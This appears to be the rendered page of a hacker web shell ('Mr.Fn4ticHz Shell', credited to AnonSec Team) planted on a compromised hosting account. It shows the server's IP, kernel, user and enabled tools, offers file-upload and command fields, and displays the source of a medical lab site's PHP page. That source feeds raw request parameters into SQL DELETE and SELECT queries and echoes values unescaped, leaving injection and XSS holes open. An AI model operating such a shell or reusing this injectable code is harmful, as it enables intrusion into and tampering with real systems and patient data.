Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.191.139.169
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/add_test_description.php
<?php session_start();
require_once("../DBManager.php");
require_once("../patientmanager.php");
include 'header.php';
include 'workdeskmenu.php';
if(isset($_POST['signup']))
{
 PatientManager::testdesciption("$_GET[ivid]","$_POST[methodid]","$_POST[parametersid]","$_POST[Test_Description]","$_POST[Unit]","$_POST[Hospitaltype]","$_POST[same_to_all]","$_POST[all_min]","$_POST[all_max]","$_POST[mNewborn_min]","$_POST[mNewborn_max]","$_POST[mChild_min]","$_POST[mChild_max]","$_POST[mAdult_min]","$_POST[mAdult_max]","$_POST[mSenior_Citizen_min]","$_POST[mSenior_Citizen_max]","$_POST[mold_min]","$_POST[mold_max]","$_POST[fNewborn_min]","$_POST[fNewborn_max]","$_POST[fChild_min]","$_POST[fChild_max]","$_POST[fAdult_min]","$_POST[fAdult_max]","$_POST[fSenior_Citizen_min]","$_POST[fSenior_Citizen_max]","$_POST[fold_min]","$_POST[fold_max]","$_POST[entered_by]");
}
if(isset($_GET[del])){
    $TestDes=$con->query("DELETE FROM `Test_Description_final` WHERE testdesid='$_GET[del]'");
    if($TestDes==1){
        echo "<script>alert('Test Description Create delete successfully..');</script><script> window.history.go(-1)</script>";
    }else{
        echo "<script>alert('Test Description Create not delete successfully..')";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
  <head>
       <style>
table{
    border-collapse: collapse;
  width: 100%;
}

td,th {
  border: 1px solid #ddd;
  padding: 8px;
}

tr:nth-child(even){background-color: #f2f2f2;}

tr:hover {background-color: #ddd;}

th {
  padding-top: 12px;
  padding-bottom: 12px;
  text-align: left;
  background-color: #1e73be;
  color: white;
}
</style>
      <script>

  function myFunction() {
  var checkBox = document.getElementById("myCheck");
  var text = document.getElementById("text");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction1() {
  var checkBox = document.getElementById("myCheck1");
  var text = document.getElementById("text1");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
function myFunction2() {
  var checkBox = document.getElementById("myCheck2");
  var text = document.getElementById("text2");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
</script>
  </head>
  <body>
   <div class="content-wrapper">
       
      <table class="table">
  <thead class="table-dark">
    <th>Sno.</th>
    <th>Description</th>
    <th>Action</th>
  </thead>
  <tbody>
<?php
session_start();
require_once("../DBManager.php");
$Test_Description_final=$con->query("SELECT * FROM Test_Description_final WHERE ivid='$_GET[ivid]'");
while($Test_Description=$Test_Description_final->fetch_assoc()){
?>    <tr>
    <td><?php echo $Test_Description['testdesid'] ?></td>
     <td>
         <b>Description :- </b><?php echo $Test_Description['Test_Description'] ?><br>
         <b>Unit :- </b><?php echo $Test_Description['Unit'] ?><br>
         <b>Min  :- </b><?php echo $Test_Description['all_min'] ?><br>
         <b>Max :- </b><?php echo $Test_Description['all_max'] ?><br>
         
         
         
         </td>
         <td><a href="add_test_description.php?del=<?php echo $Test_Description['testdesid'] ?>">Delete</a></td>
    
</tr>

<?php } ?>
  </tbody>
</table>
    <!-- Content Header (Page header) -->
    <section class="content-header">
          	<h3><i class="fa fa-angle-right"></i> Add Test Description </h3>
	          <form method="post" name="signup">
<!--            	<label>Method</label>-->
<!--<select  class="form-control"  id="methodid" name="methodid">-->
<!--          <option value="NIL">NIL</option>-->
			<?php
// <!--	$sql1 ="SELECT * FROM method WHERE ivid='$_GET[ivid]'";-->
// <!--		$qsql1 = mysqli_query($con,$sql1);-->
// <!--		while($re = mysqli_fetch_array($qsql1))-->
	//	{-->
         
    // 	echo "<option value='$re[methodid]'>$re[method]</option>";-->
				// }
	
		  ?>
<!--		  </select>-->
		  	  <?php
// 	$sql1 ="SELECT * FROM method WHERE ivid='$_GET[ivid]'";-->
	
// 		    echo"
// 				<a align='right' href='method.php?ivid=$_GET[ivid]'>Add Method</a>
// 				";
	
?>
<br><label for="item">Test Description<span>*</span></label>
    <input type="text" Placeholder='Test Description' name="Test_Description" onkeyup="this.value = this.value.toUpperCase();" required>
    
    <br><br>
    <label for="item">UNIT<span>*</span></label>
    <input type="text" Placeholder='UNIT' name="Unit" required>
        <br> <br>
        
        
  <!--<label>Gender Specify</label>-->
  <!--<select onchange="genderload(this.value)" id="Hospitaltype" name="Hospitaltype" required>-->
   
  <!--  <option value="Not_Applicable">Not Applicable</option>-->
    <!--<option value="Applicable">Applicable</option>-->
  <!--</select>-->
  <input type='hidden' name='Not_Applicable' id='Not_Applicable' value='Not_Applicable'/>
  
  
  
  <div id='divdr'>
  <div><label>Minimum value *</label>
                <input type='text' placeholder='minimum value' name='all_min'/></div><br>
                
                 <div><label>Maximum value *</label>
                <input type='text' placeholder='Maximum value' name='all_max'/></div> </div>
         <br>

 <input  type="submit" name="signup" id="signup" value="Add">
 
 
</form> 
<script>
 function genderload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","genderload.php?drid="+drid,true);
        xmlhttp.send();
}

</script>




Anon7 - 2022
AnonSec Team